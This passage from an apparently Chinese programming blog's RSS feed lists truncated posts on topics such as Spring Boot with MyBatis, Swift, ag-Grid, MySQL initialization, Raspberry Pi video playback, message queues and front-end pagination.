&amp;lt;head&amp;gt; &amp;lt;base href=&#34;&amp;lt;%=basePath%&amp;gt;&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0, user-scalable=0, minimum-scale=1.0, maximum-scale=1.0&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=gb2312&#34; /&amp;gt; &amp;lt;title&amp;gt;滑动到底部加载下一页内容&amp;lt;/title&amp;gt; &amp;lt;meta http-equiv=&#34;pragma&#34; content=&#34;no-cache&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;cache-control&#34; content=&#34;no-cache&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;expires&#34; content=&#34;0&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;keywords&#34; content=&#34;keyword1,keyword2,keyword3&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;</description>
    </item>
    <item>
      <title>springboot集成mybatis源码分析-启动加载mybatis过程（二）</title>
      <link>https://bchobby.github.io/posts/408cadc21a93424955d28dba7cb632c9/</link>
      <pubDate>Wed, 06 Mar 2019 16:49:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/408cadc21a93424955d28dba7cb632c9/</guid>
      <description>springboot集成mybatis源码分析-启动加载mybatis过程（二） 1、springboot项目最核心的就是自动加载配置，该功能则依赖的是一个注解@SpringBootApplication中的@EnableAutoConfiguration&#xA;2、EnableAutoConfiguration主要是通过AutoConfigurationImportSelector类来加载&#xA;以mybatis为例，*selector通过反射加载spring.factories中指定的java类，也就是加载MybatisAutoConfiguration类（该类有Configuration注解，属于配置类）&#xA;16 package org.mybatis.spring.boot.autoconfigure; 60 重点：SqlSessionFactory 和 SqlSessionTemplate 两个类 61 /** 62 * {@link EnableAutoConfiguration Auto-Configuration} for Mybatis. Contributes a 63 * {@link SqlSessionFactory} and a {@link SqlSessionTemplate}. 64 * 65 * If {@link org.mybatis.spring.annotation.MapperScan} is used, or a 66 * configuration file is specified as a property, those will be considered, 67 * otherwise this auto-configuration will attempt to register mappers based on 68 * the interface definitions in or under the root auto-configuration package.</description>
    </item>
    <item>
      <title>Swift-Kingfisher的简单使用</title>
      <link>https://bchobby.github.io/posts/8256dc552032a8d36938fc9976f11e20/</link>
      <pubDate>Wed, 06 Mar 2019 16:44:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8256dc552032a8d36938fc9976f11e20/</guid>
      <description>// // ViewController.swift // SK_Kingfisher // // Created by coder on 2019/3/6. // Copyright © 2019 AlexanderYeah. All rights reserved. // import UIKit import Kingfisher class ViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() // Do any additional setup after loading the view, typically from a nib. let imgViewA = UIImageView(frame: CGRect(x: 100, y: 200, width: 150, height: 150)); self.view.addSubview(imgViewA); // 最为简单的使用方式 let url = URL(string: &#34;http://t2.hddhhn.com/uploads/tu/201610/198/scx30045vxd.jpg&#34;); // 等待指示器 imgViewA.</description>
    </item>
    <item>
      <title>用LAYA写了个简单的框架 UI是使用FGUI</title>
      <link>https://bchobby.github.io/posts/a8274286d95476efd15814aa1535a5f2/</link>
      <pubDate>Wed, 06 Mar 2019 14:40:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8274286d95476efd15814aa1535a5f2/</guid>
      <description>学习了一下laya感觉和unity差不多，就开始撸了一下 写了个简单的框架，UI使用的fugi&#xA;整个程序入口Main。 Game包含了整个程序基础功能。</description>
    </item>
    <item>
      <title>离线安装Miktex/CTEX的宏包Package</title>
      <link>https://bchobby.github.io/posts/5ffe9c2b4a402e02ae276902edab5443/</link>
      <pubDate>Wed, 06 Mar 2019 12:43:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ffe9c2b4a402e02ae276902edab5443/</guid>
      <description>离线安装Miktex/CTEX的宏包Package</description>
    </item>
    <item>
      <title>swift string,Int,Double相互转换</title>
      <link>https://bchobby.github.io/posts/63f094ce87747522f6448506409a19d7/</link>
      <pubDate>Wed, 06 Mar 2019 11:18:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63f094ce87747522f6448506409a19d7/</guid>
      <description>import UIKit var str = &#34;Hello, playground&#34; // 1 字符串转Int Double Float var str1 = &#34;818&#34;; // 转Int var val1 = Int(str1); // 转Double var val2 = Double(str1); // 转float var val3 = Float(str1); // 如果是25.0 转 Int，则需要先转为Double 类型再将其转为Int类型 var val4 = &#34;25.0&#34;; let count = Double(val4); let val4_int = Int(count); print(val3!); // 2 数字转为字符串 var num1 = 25; var str2 = &#34;\(num1)&#34;; // 如果是Int 类型的话 直接进行转 var str3 = String(num1); // 如果是Double 类型的话 可以通过以下方式进行转换 var str4 = String(stringInterpolationSegment: num1); // 3 数字相互转换 var num2 = 25.</description>
    </item>
    <item>
      <title>快速上手最棒的网格框架ag-Grid</title>
      <link>https://bchobby.github.io/posts/f35dff2a73c6b29d42b75e7da6b133b0/</link>
      <pubDate>Wed, 06 Mar 2019 09:48:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f35dff2a73c6b29d42b75e7da6b133b0/</guid>
      <description>ag-Grid是速度最快，功能最丰富的JavaScript datagrid组件, 没有之一, 事实证明了它确实是业内口碑最高的框架之一&#xA;Datagrid是您在用户界面中可能多次遇到的问题。它是一个以表格形式显示数据的组件。数据中的每个项目都显示为一行，分为项目字段的列。网格已经存在了很长时间，主要是在桌面上，但现在在网络应用UI中并不常见。&#xA;今天，大多数公司和软件工程师选择现有的解决方案，因为与定制实施相关的复杂性和高成本。毫无疑问，大量第三方JS数据网格可用作免费或付费版本。选择使用哪一个本身往往是一个挑战。你是怎样做的？&#xA;在开发人员确保网格满足功能和性能要求之后，他们会看到集成和配置它的容易程度。此外，如果小部件附带精心设计的文档，这些文档分解了所有功能并提供了示例，那么开发人员倾向于在其应用程序中使用它。&#xA;ag-Grid is ALL ag-Grid is Everything&#xA;本文以JavaScript网格示例为特色，演示了集成和配置ag-Grid的难易程度。这是一本入门指南，旨在通过复制/粘贴在不到5分钟的时间内完成。完成基本设置后，我们将查看控制它们的一些功能和配置选项。&#xA;让我们开始吧！&#xA;快速上手..&#xA;在过去几年中，我们正在目睹Cambrian Explosion of JavaScript项目设置配置。似乎每天都有人为JavaScript开发人员提供了一种新的，更好的方式来构建和分发他们的应用程序。但是，出于此设置的目的，我们将坚持使用从CDN加载ag-Grid脚本的最简单的无构建，单个HTML文件设置。&#xA;基础的HTML就不写了, 将ag-Grid添加到您的项目中, extreamly easy~~&#xA;我们将从unpkg CDN加载必要的脚本和样式。将以下内容添加到 head元素：&#xA;&amp;lt; script src = “ https://unpkg.com/ag-grid-community/dist/ag-grid-community.min.noStyle.js ” &amp;gt; &amp;lt;/ script &amp;gt; &amp;lt; link rel = “ stylesheet ” href = “ https://unpkg.com/ag-grid-community/dist/styles/ag-grid.css ” &amp;gt; &amp;lt; link rel = “ stylesheet ” href = “ https://unpkg.com/ag-grid-community/dist/styles/ag-theme-balham.css ” &amp;gt; 上面的行导入 agGrid 组件，ag-grid.css 定义网格结构的 样式表以及一个可用的网格主题 ag-theme-balham.</description>
    </item>
    <item>
      <title>mysql 5.7 开始使用 mysqld --initialize 初始化数据库</title>
      <link>https://bchobby.github.io/posts/dca4ec6b29f1ac43d9c67d89e8d42839/</link>
      <pubDate>Tue, 05 Mar 2019 19:28:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dca4ec6b29f1ac43d9c67d89e8d42839/</guid>
      <description>os: ubuntu 16.04&#xA;db: mysql 5.7.25&#xA;mysql_install_db is deprecated as of MySQL 5.7.6 because its functionality has been integrated into mysqld, the MySQL server. To initialize a MySQL installation, invoke mysqld with the --initialize or --initialize-insecure option. For more information, see Section 2.10.1, “Initializing the Data Directory”. mysql_install_db will be removed in a future MySQL release.&#xA;之前初始化mysql数据库命令 mysql_install_db 从MySQL 5.7.6 开始废弃，使用 mysqld 初始化数据库&#xA;mysqld # which mysqld # mysqld --verbose --help -I, --initialize Create the default database and exit.</description>
    </item>
    <item>
      <title>树莓派  共享内存 控制 Omxpalyer</title>
      <link>https://bchobby.github.io/posts/64c2a6ec6e404ea8eae9285fcb157f37/</link>
      <pubDate>Tue, 05 Mar 2019 15:24:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64c2a6ec6e404ea8eae9285fcb157f37/</guid>
      <description>Omxpalyer 一款具有 GPU 优化的树莓派播放软件。&#xA;命令行操作：&#xA;阻塞性。&#xA;切换：&#xA;聚焦于当前，并强制终止。&#xA;线程，共享内存。&#xA;线程：&#xA;使得播放与接收命令不相互阻塞，保证可以接受到数据与正常播放视频。&#xA;共享内存：&#xA;切换视频，需要知道，什么时候切换，切换到哪一个。&#xA;可以单独开辟一片空间 malloc 作为信息的存储。&#xA;运行的程序必定有进程。当丢失焦点时，可以通过杀死进程结束进程。killall -9&#xA;收到切换信息，保存到共享内存。&#xA;播放线程读取共享内存，数据比对得操作。&#xA;Coding：&#xA;// thread while(1) { int index = *((int*)msg); system(&#34;sudo killall -9 /usr/bin/omxplayer.bin&#34;); int index_old = *((int *)msg); if(index_old == index) { system(keep_show); } else {} } // main int index = 0; res = pthread_create(&amp;amp;sound,NULL,thread,&amp;amp;index); pthread_detach(sound); //Makefile serial : serial_ama.o gcc -o serial serial_ama.o -lpthread serial_ama.o : serial_ama.c serial_ama.</description>
    </item>
    <item>
      <title>完美解决 windows下Python2.0 pip安装报错：UnicodeDecodeError: &#39;ascii&#39; codec can&#39;t decode byte 0xb8 in position</title>
      <link>https://bchobby.github.io/posts/7d675830ea484db3100e416f10fd8bdf/</link>
      <pubDate>Mon, 04 Mar 2019 11:38:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d675830ea484db3100e416f10fd8bdf/</guid>
      <description>错误信息如下：&#xA;UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xb8 in position 1: ordinal not in range(128)&#xA;解决方法：&#xA;1.找出C:\Python27\Lib下的napath.py文件，在join函数的第一行添加如下两行代码，设置默认字符编码&#xA;reload(sys) sys.setdefaultencoding(&#39;gbk&#39;) 2.添加完成之后记得保存。&#xA;3.重新打开Terminal窗口安装所需要的包！！！&#xA;4.完美解决！！！！</description>
    </item>
    <item>
      <title>C&#43;&#43;中使用find函数查找指定数字的下标</title>
      <link>https://bchobby.github.io/posts/e4c97bbcc847a2041b5b20e593b7181e/</link>
      <pubDate>Sun, 03 Mar 2019 11:42:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4c97bbcc847a2041b5b20e593b7181e/</guid>
      <description> find函数在&amp;lt; algorithm &amp;gt;库中，使用时注意导入，&#xA;find函数的定义如下所示：&#xA;_InputIterator find(_InputIterator __first, _InputIterator __last, const _Tp&amp;amp; __val)&#xA;参数中，第一个为数组的起始位置，第二个为数组的终点，可以这样理解[begin, end)，在这个范围内查找val这个值，注意它的返回类型是一个迭代器，与指针类似，这意味着我们不能直接把它作为下标来使用，但是用它减去_InputIterator __first就是我们需要的下标了，见下面一个小栗子&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;algorithm&amp;gt; using namespace std; int main(void){ int a[5] = {5,3,2,1,4}; int* q = find(a, a+5, 3); int r = q - a; printf(&#34;位置为：%d\n&#34;, r); printf(&#34;值为：%d\n&#34;, *q); return 0; } </description>
    </item>
    <item>
      <title>DRCN阅读笔记</title>
      <link>https://bchobby.github.io/posts/d0a21df7eba86b5a15f8f8ac91525c77/</link>
      <pubDate>Fri, 01 Mar 2019 19:29:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0a21df7eba86b5a15f8f8ac91525c77/</guid>
      <description>本篇论文作者提出了在CNN中加入一个16次递归层，增加递归层深度可以有效提升性能表现，并且不为其他卷积层引入新的参数。由于使用标准的梯度下降DRCN很难训练，所以作者又提出了两个概念：递归监管和跳过连接&#xA;转载：receptive field 和 filter 的含义 https://blog.csdn.net/ture_dream/article/details/53240985&#xA;基础模型：&#xA;最初的模型主要包括三个副网络：嵌入，推断和重建网络&#xA;推断网络解决SR的主要问题。在该网络中，分析大图像区域由单个递归层完成。 每次递归都应用相同的整流线性单元的卷积。 对于大于1×1的卷积滤波器，每次递归都会扩大感受野。&#xA;MLP是啥？https://baike.baidu.com/item/MLP/17194455?fr=aladdin&#xA;嵌入网和推断网都是用3×3的filter，这是因为对嵌入网来说，图像梯度比超分辨率的原始图像数据所含信息更多；对于推断网来说，3×3的filter使得隐藏层状态只传递给相邻像素。重建网络同样十分重视直接相邻像素&#xA;嵌入网f1（x）：&#xA;推断网f2（x）：&#xA;重建网f3（x）：&#xA;梯度爆炸：在训练过程中梯度发生巨大涨幅&#xA;梯度消失：与梯度爆炸相反&#xA;因为这两个原因，距离很远的两个像素的联系学习就变得非常困难，另外在多层递归下存储精确副本也没有想象中的容易&#xA;所以作者提出两个新模型：&#xA;递归监管：监管所有的递归来降低梯度消失/爆炸的影响。作者假设相同的表示在推断网的卷积层中可以一次又一次的使用，所有相同的重塑网也可以用来为所有的递归提供HR预测结果。所以重塑网输出D个预测结果（D即递归深度）并且同时监管训练中所有的预测结果。作者使用D个中间预测结果来计算最后的输出，这些结果在测试中被平均。w主要在训练过程中优化。显然，如果监测信号直接从损失层回到早期的递归层，反向传播的计算会容易很多&#xA;跳过连接：在SR中，输入输出图像高度相关，带着大多数的输入value到网络终端是不可避免但很没有效率的。由于梯度问题以及横跨在输入和输出之间的递归，学习一个input和output之间简单的线性关系是非常难的。所以作者添加了一个层可以直接从输入层跳跃到重建层，这对于语义分割网络来讲是非常成功的。有两个优点，一是网络可以在递归过程中存储输入信号，二是精确的输入副本信号可以在预测过程中使用。&#xA;语义分割网络？https://blog.csdn.net/sinat_35496345/article/details/79609529&#xA;wd代表在递归过程中从每个中间隐藏状态重塑得到的预测的权重&#xA;最小二乘回归？&#xA;通过反向传播SGD优化&#xA;对于无递归层的w初始化使用he等人提出的方法，有递归层的则将所有w设置为0。所有层b设置为0。&#xA;最后DRCN的方法在相同的dataset上与现存的A+,RFL,SRCNN,SelfEx对比性能表现。有的方法比如A+和RFL无法预测图像边缘所以需要裁剪，DRCN并不需要，并且本方法产生了相对于图像的锐利的边缘，和其他方法所生成的HR的边缘是模糊的所不同。&#xA;结论：&#xA;DRCN有效地在利用大图像背景信息时重新使用了w参数。为了降低训练模型的难度，DRCN使用了递归检测和跳过连接，并且证明了本方法领先其他现存方法在基本dataset上。展望未来，可以尝试更深的递归层次来利用图像的背景信息。作者相信他们的方法可以很容易地应用于其他图像恢复问题，例如去噪和压缩伪影去除。</description>
    </item>
    <item>
      <title>request以及bs4库爬取豆瓣电影前100</title>
      <link>https://bchobby.github.io/posts/64a8f55286d697edd0d2ff47997cd9d4/</link>
      <pubDate>Fri, 01 Mar 2019 18:05:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64a8f55286d697edd0d2ff47997cd9d4/</guid>
      <description>import requests import re from bs4 import BeautifulSoup def getHtmlText(url, ulist): r = requests.get(url) soup = BeautifulSoup(r.text, &#39;html.parser&#39;) movie_title = soup.find_all(&#39;span&#39;,class_=&#39;title&#39;) movie_link = soup.find_all(&#39;div&#39;, class_=&#39;hd&#39;) linkinfo = [] for link in movie_link: linkinfo.append(link.a.attrs[&#39;href&#39;]) movie_rate = soup.find_all(&#39;span&#39;,class_=&#39;rating_num&#39;) movie_intro = soup.find_all(&#39;span&#39;,class_=&#39;inq&#39;) infolist = [] for title in movie_title: #剔除标题中的冗杂信息 例如港台译名 if title.text.find(&#39;/&#39;)== -1: infolist.append(title.string) for i in range(len(movie_link)): ulist.append([infolist[i], linkinfo[i], movie_rate[i].text, movie_intro[i].text]) def printText(ulist): # print(&#39;名称\t\t\t评分\t\t\t\t链接&#39;) for i in range(len(ulist)): u = ulist[i] # print(u[0],&#39;\t\t&#39;, u[2],&#39;\t\t&#39;, u[1],&#39;\n\n一句话短评: &#39;, u[3],&#39;\n&#39;) print1(&#39;名称&#39;, u[0]) print1(&#39;评分&#39;, u[2]) print1(&#39;链接&#39;, u[1]) print1(&#39;短评&#39;, u[3]) #.</description>
    </item>
    <item>
      <title>高并发之消息队列：MQ消息队列核心点总结</title>
      <link>https://bchobby.github.io/posts/19851e4e7ac826113a629adbcbaa8411/</link>
      <pubDate>Fri, 01 Mar 2019 15:58:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19851e4e7ac826113a629adbcbaa8411/</guid>
      <description>消息队列已经逐渐成为分布式应用场景、内部通信、以及秒杀等高并发业务场景的核心手段，它具有低耦合、可靠投递、广播、流量控制、最终一致性 等一系列功能。&#xA;无论是 RabbitMQ、RocketMQ、ActiveMQ、Kafka还是其它等，都有的一些基本原理、术语、机制等，总结分享出来，希望大家在使用消息队列技术的时候能够快速理解。&#xA;1. 消息生产者、消息者、队列 消息生产者Producer：发送消息到消息队列。消息消费者Consumer：从消息队列接收消息。Broker：概念来自与Apache ActiveMQ，指MQ的服务端，帮你把消息从发送端传送到接收端。消息队列Queue：一个先进先出的消息存储区域。消息按照顺序发送接收，一旦消息被消费处理，该消息将从队列中删除。 2. 设计Broker主要考虑 1）消息的转储：在更合适的时间点投递，或者通过一系列手段辅助消息最终能送达消费机。2）规范一种范式和通用的模式，以满足解耦、最终一致性、错峰等需求。3）其实简单理解就是一个消息转发器，把一次RPC做成两次RPC。发送者把消息投递到broker，broker再将消息转发一手到接收端。&#xA;总结起来就是两次RPC加一次转储，如果要做消费确认，则是三次RPC。 3. 点对点消息队列模型 点对点模型 用于 消息生产者 和 消息消费者 之间 点到点 的通信。&#xA;点对点模式包含三个角色：&#xA;消息队列（Queue）发送者(Sender)接收者(Receiver) 每个消息都被发送到一个特定的队列，接收者从队列中获取消息。队列保留着消息，可以放在 内存 中也可以 持久化，直到他们被消费或超时。&#xA;特点&#xA;每个消息只有一个消费者（Consumer）(即一旦被消费，消息就不再在消息队列中) 发送者和接收者之间在时间上没有依赖性 接收者在成功接收消息之后需向队列应答成功 4. 发布订阅消息模型Topic 高并发架构系列：MQ消息队列的12点核心原理总结&#xA;发布订阅模型包含三个角色：&#xA;主题（Topic）发布者（Publisher）订阅者（Subscriber） 多个发布者将消息发送到Topic,系统将这些消息传递给多个订阅者。&#xA;特点&#xA;每个消息可以有多个消费者：和点对点方式不同，发布消息可以被所有订阅者消费 发布者和订阅者之间有时间上的依赖性。 针对某个主题（Topic）的订阅者，它必须创建一个订阅者之后，才能消费发布者的消息。 为了消费消息，订阅者必须保持运行的状态。 5.点对点和发布订阅的区别 生产者发送一条消息到队列queue，只有一个消费者能收到。&#xA;发布者发送到topic的消息，只有订阅了topic的订阅者才会收到消息。&#xA;6. 消息的顺序性保证 基于Queue消息模型，利用FIFO先进先出的特性，可以保证消息的顺序性。&#xA;7. 消息的ACK机制 即消息的Ackownledge确认机制，为了保证消息不丢失，消息队列提供了消息Acknowledge机制，即ACK机制，当Consumer确认消息已经被消费处理，发送一个ACK给消息队列，此时消息队列便可以删除这个消&#xA;息了。如果Consumer宕机/关闭，没有发送ACK，消息队列将认为这个消息没有被处理，会将这个消息重新发送给其他的Consumer重新消费处理。&#xA;8.最终一致性的设计思路 主要是用“记录”和“补偿”的方式。&#xA;本地事务维护业务变化和通知消息，一起落地，然后RPC到达broker，在broker成功落地后，RPC返回成功，本地消息可以删除。否则本地消息一直靠定时任务轮询不断重发，这样就保证了消息可靠落地broker。&#xA;broker往consumer发送消息的过程类似，一直发送消息，直到consumer发送消费成功确认。&#xA;我们先不理会重复消息的问题，通过两次消息落地加补偿，下游是一定可以收到消息的。然后依赖状态机版本号等方式做判重，更新自己的业务，就实现了最终一致性。&#xA;如果出现消费方处理过慢消费不过来，要允许消费方主动ack error，并可以与broker约定下次投递的时间。&#xA;对于broker投递到consumer的消息，由于不确定丢失是在业务处理过程中还是消息发送丢失的情况下，有必要记录下投递的IP地址。决定重发之前询问这个IP，消息处理成功了吗？如果询问无果，再重发。&#xA;事务：本地事务，本地落地，补偿发送。本地事务做的，是业务落地和消息落地的事务，而不是业务落地和RPC成功的事务。消息只要成功落地，很大程度上就没有丢失的风险。&#xA;9. 消息的事务支持 消息的收发处理支持事务，例如：在任务中心场景中，一次处理可能涉及多个消息的接收、处理，这应该处于同一个事务范围内，如果一个消息处理失败，事务回滚，消息重新回到队列中。&#xA;10. 消息的持久化 消息的持久化，对于一些关键的核心业务来说是非常重要的，启用消息持久化后，消息队列宕机重启后，消息可以从持久化存储恢复，消息不丢失，可以继续消费处理。&#xA;11. 消息队列的高可用性 在实际生产环境中，使用单个实例的消息队列服务，如果遇到宕机、重启等系统问题，消息队列就无法提供服务了，因此很多场景下，我们希望消息队列有高可用性支持，例如</description>
    </item>
    <item>
      <title>Hibernate Validator 后台数据规则校验拓展</title>
      <link>https://bchobby.github.io/posts/e9633a7784333b1a155629a8c7a3aaf7/</link>
      <pubDate>Thu, 28 Feb 2019 23:32:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9633a7784333b1a155629a8c7a3aaf7/</guid>
      <description>目录&#xA;1.dto&#xA;1-1.UserInfo&#xA;2.rules&#xA;2-1.after&#xA;2-1-1.UserInfoAfterRuleValid.java&#xA;2-2.before&#xA;2-2-1.UserInfoBeforeRuleValid.java&#xA;2-3.valid&#xA;2-3-1.UserInfoValidServiceImpl.java&#xA;3.validator&#xA;3-1.service&#xA;3-1-1.AfterRuleValidService.java&#xA;3-1-2.BeforeRuleValidService.java&#xA;3-1-3.RuleValidService.java&#xA;3-2.RulesValid.java&#xA;3-3.RuleValidator.java&#xA;4.test&#xA;4-1.Main.java&#xA;依赖包：&#xA;jboss-logging-3.3.2.Final.jar&#xA;validation-api-2.0.1.Final.jar&#xA;commons-lang-2.5.jar&#xA;classmate-1.3.4.jar&#xA;hibernate-validator-6.0.12.Final.jar&#xA;本文利用Hibernate Validator校验工具进行拓展，旨于代码优化与规则校验集中管理。&#xA;转载请注明出处：https://blog.csdn.net/jevonsCSDN/article/details/88047276 【Jevons’Blog】&#xA;代码结构：&#xA;下面开始贴代码： 1.dto 1-1.UserInfo package validator.dto; import javax.validation.constraints.NotNull; import validator.rules.after.UserInfoAfterRuleValid; import validator.rules.before.UserInfoBeforeRuleValid; import validator.rules.valid.UserInfoValidServiceImpl; import validator.validator.RulesValid; @RulesValid(vaildClass = { UserInfoValidServiceImpl.class },beforeClass={UserInfoBeforeRuleValid.class},afterClass={UserInfoAfterRuleValid.class}) public class UserInfo { @NotNull private java.lang.String insurantName; private java.lang.String insurantCertiType; private java.lang.String insurantCertiNo; private java.lang.String insurantGender; private java.lang.String insurantMobile; /** * insurantName */ public java.</description>
    </item>
    <item>
      <title>Google搜索设置在新标签页打开的方法</title>
      <link>https://bchobby.github.io/posts/29563c8ebe8c307b319b181cef38e171/</link>
      <pubDate>Thu, 28 Feb 2019 20:41:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29563c8ebe8c307b319b181cef38e171/</guid>
      <description>google搜索默认是点击链接后当前页面被新页面覆盖，不进行跳转。&#xA;设置为每次点击链接打开新标签的方法：&#xA;1.打开google首页&#xA;2.点击右下角的设置&#xA;3.勾选在浏览器新窗口打开搜索结果</description>
    </item>
    <item>
      <title>使用VS编译程序，文件路径过长报错。error MSB3491: 未能向文件写入命令行</title>
      <link>https://bchobby.github.io/posts/d97a8315fa51625e940bb884bfcb71d2/</link>
      <pubDate>Thu, 28 Feb 2019 11:34:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d97a8315fa51625e940bb884bfcb71d2/</guid>
      <description>使用vs编译qt程序，选择本地Windows调试器，文件路径很长时可以编译，当文件路径过长（eg：190+字符），报错：&#xA;error MSB3491: 未能向文件写入命令行。指定的路径或文件名太长,或者两者都太长。完全限定文件名必须少于 260 个字符，并且目录名必须少于 248 个字符。 Vs编译问题解决：配置属性-常规-修改输出目录和中间目录&#xA;使用vs在路径很长的文件夹新建工程，无法新建：&#xA;向文件路径很长的文件夹拷贝文件，提示目标路径过长，甚至无法拷贝：&#xA;在文件路径很长的文件夹下新建文件夹，无法新建：&#xA;Vs环境下选择远程Windows、web浏览器、web服务调试，无法启动调试。</description>
    </item>
    <item>
      <title>安装 aconda 后ubuntu系统终端界面前部出现（base）字样</title>
      <link>https://bchobby.github.io/posts/a74380c2c03d8b7f3e64d16d3446cf1f/</link>
      <pubDate>Wed, 27 Feb 2019 21:18:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a74380c2c03d8b7f3e64d16d3446cf1f/</guid>
      <description>安装 aconda 后ubuntu系统终端界面前部出现（base）字样 参考链接：https://www.cnblogs.com/devilmaycry812839668/p/10349602.html&#xA;解决办法 1.打开一个终端 ，输入命令：gedit ～/.bashrc&#xA;2.在 .bashrc文件最后面添加命令：conda deactivate&#xA;再重新打开终端即可消除base字样&#xA;若在终端中输入conda deactivate，也可消除base字样，但是一次性的，再次打开终端依然存在base字样。在.bashrc文件添加命令：conda deactivate可以永久消除base字样。</description>
    </item>
    <item>
      <title>Android中bitmap画图的简单使用</title>
      <link>https://bchobby.github.io/posts/081760487157c7b79b8d41592f5bac1f/</link>
      <pubDate>Wed, 27 Feb 2019 17:11:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/081760487157c7b79b8d41592f5bac1f/</guid>
      <description>Android中画图介绍（矩形、圆形）&#xA;主要分为以下几步：&#xA;MainActivity中&#xA;矩形图：&#xA;//1 实例化bitmap对象(@Override宣纸)&#xA;Bitmap bitmap = Bitmap.createBitmap( 600,600, Bitmap.Config.ARGB_8888 );&#xA;//2 实例化canvs对象（画架）&#xA;Canvas canvas = new Canvas( bitmap );&#xA;//3 实例化paint对象（画具）、&#xA;Paint paint = new Paint();&#xA;paint.setColor( Color.RED );&#xA;paint.setStrokeWidth( 10 );&#xA;//4 画图&#xA;canvas.drawRect( 120,50,400,400,paint );&#xA;//5 将图片显示在image图片控件上面&#xA;iv.setImageBitmap( bitmap );&#xA;填充蓝色圆形图（类似于矩形图）：&#xA;//1.画布，实例化bitmap&#xA;Bitmap bitmapCircle = Bitmap.createBitmap( 800,800, Bitmap.Config.ARGB_8888 );&#xA;//2.画架，实例化canvas&#xA;Canvas canvasCircle = new Canvas( bitmapCircle );&#xA;//3.画具，paint&#xA;Paint paintCircle = new Paint( );</description>
    </item>
    <item>
      <title>element-ui 分页组件 动态设置默认页码（可用于保存当前页码跳转后的再次加载）</title>
      <link>https://bchobby.github.io/posts/7e9577257688d6c27d9cef1b4d2bf5f5/</link>
      <pubDate>Tue, 26 Feb 2019 21:15:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e9577257688d6c27d9cef1b4d2bf5f5/</guid>
      <description>1、在分页组件中加入ref以控制节点&#xA;&amp;lt;el-pagination background layout=&#34;prev, pager, next&#34; :page-size=&#34;10&#34; :current-page=&#34;screenList.pageNo&#34; @current-change=&#34;handleCurrentChange&#34; :total=&#34;total&#34; ref=&#34;pagination&#34;&amp;gt; &amp;lt;/el-pagination&amp;gt; 2、设置pagination属性&#xA;this.$nextTick(() =&amp;gt; { this.$refs.pagination.internalCurrentPage = pageNo; }) 用途：可用于跳转详情页时保存列表的当前页码，从详情页回来时加载保存的页码。&#xA;例子：当前页码5，跳转详情回来时会重置为1，即使修改pageNo为5，页面显示的还是1，此时可用这种方法。&#xA;属性说明：&#xA;pageNo：当前页码（需要保存的页码数）&#xA;pageSize：每页显示数据条数&#xA;例如：我的列表每页有10条，然后我是从第3页跳转到详情的，那pageNo就是3，pageSize就是10。&#xA;total：数据总数量&#xA;2020-3-12更新：&#xA;在element-ui 2.13.0版本中，修改pageNo会自动同步过去，不用手动修改了。</description>
    </item>
    <item>
      <title>Ag-grid属性整理</title>
      <link>https://bchobby.github.io/posts/d2de8ecbf11e483e46c32eb26a7261e6/</link>
      <pubDate>Tue, 26 Feb 2019 11:03:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2de8ecbf11e483e46c32eb26a7261e6/</guid>
      <description>import ClickableStatusBarComponent from &#39;./component/clickableStatusBarComponent&#39;; // import HaearCustomComponent from &#39;./component/HaearCustomComponent&#39; const defaultColDef = { width:300, // 宽度 editable: true, // 是否可编辑 suppressMenu: false, // 显示 cellStyle:{color:&#34;#000&#34;,backgroundColor:&#34;fff&#34;}, // √ hide:false, // √ sortable: true, resizable: true, filter: true, menuTabs: [&#39;filterMenuTab&#39;,&#39;generalMenuTab&#39;], // 有效值为：&#39;filterMenuTab&#39;，&#39;generalMenuTab&#39;和&#39;columnsMenuTab&#39; TODO filterMenuTab无效 // headerComponentParams: { menuIcon: &#34;fa-bars&#34; }, // columnGroupShow:false, // 是否在组打开/关闭时显示列 // toolPanelClass:[], // suppressToolPanel:false, // checkboxSelection:false, // rowDrag:false, // suppressResize:false, // suppressAggFuncInHeader:true, }; const localeText={ page: &#34;页&#34;, more: &#34;</description>
    </item>
    <item>
      <title>QtWidgets.QPushButton()设置背景图片</title>
      <link>https://bchobby.github.io/posts/2dfe5b09faebbcd5d7f4eaa40bd6bb91/</link>
      <pubDate>Sun, 24 Feb 2019 17:51:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2dfe5b09faebbcd5d7f4eaa40bd6bb91/</guid>
